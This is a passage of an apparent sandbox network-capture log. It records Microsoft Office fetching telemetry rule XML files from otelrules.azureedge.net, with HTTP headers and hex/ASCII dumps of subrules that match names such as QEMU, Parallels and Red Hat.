2024-10-17 16:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 90caf802-701e-001e-1cd8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161830Z-16b659b4499rzdzwehs0w9w5d800000009fg000000003unh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:30 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: caad3713-c01e-0034-63d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161830Z-15b8d89586ff5l62quxsfe8ugg00000003k000000000r14f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c7f33fb6-601e-003d-2ed8-1e6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161830Z-16b659b44994c5rr2b3ze9shcc000000095g00000000q3tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:30 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9dcec3f4-001e-002b-5ad8-1e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161830Z-15b8d89586f8l5967udr7u2zg4000000029g00000000dqqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0c00d68f-601e-0084-7bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161831Z-16b659b44994sjcfes83c39y4000000007t00000000064u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0c0228f0-601e-0084-03d8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161831Z-15b8d89586f42m67uh3prmsdrs00000003vg00000000dnvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49988	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2ef97557-601e-0070-42d8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161831Z-15b8d89586fst84k5f3z220tec00000003u0000000008epp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49983	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad40b2af-901e-0064-67d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161831Z-r197bdfb6b42sc4ddemybqpm140000000a800000000066h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49985	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a14db6d3-f01e-003f-58d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161831Z-15b8d89586fdmfsgn8gw8tkkbc00000003kg00000000exh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	50041	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: dd485b55-801e-0035-4fd8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161832Z-15b8d89586flzzksd4nk2msxr4000000038g000000000zn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	50066	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 2bfc10a8-001e-00ad-20d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161832Z-15b8d89586f57l94v02234ytdc00000000mg0000000003c1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	50074	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2ef97735-601e-0070-7dd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161832Z-16b659b4499hn29ks1ddp5hvac0000000b6000000000ufz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	50072	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
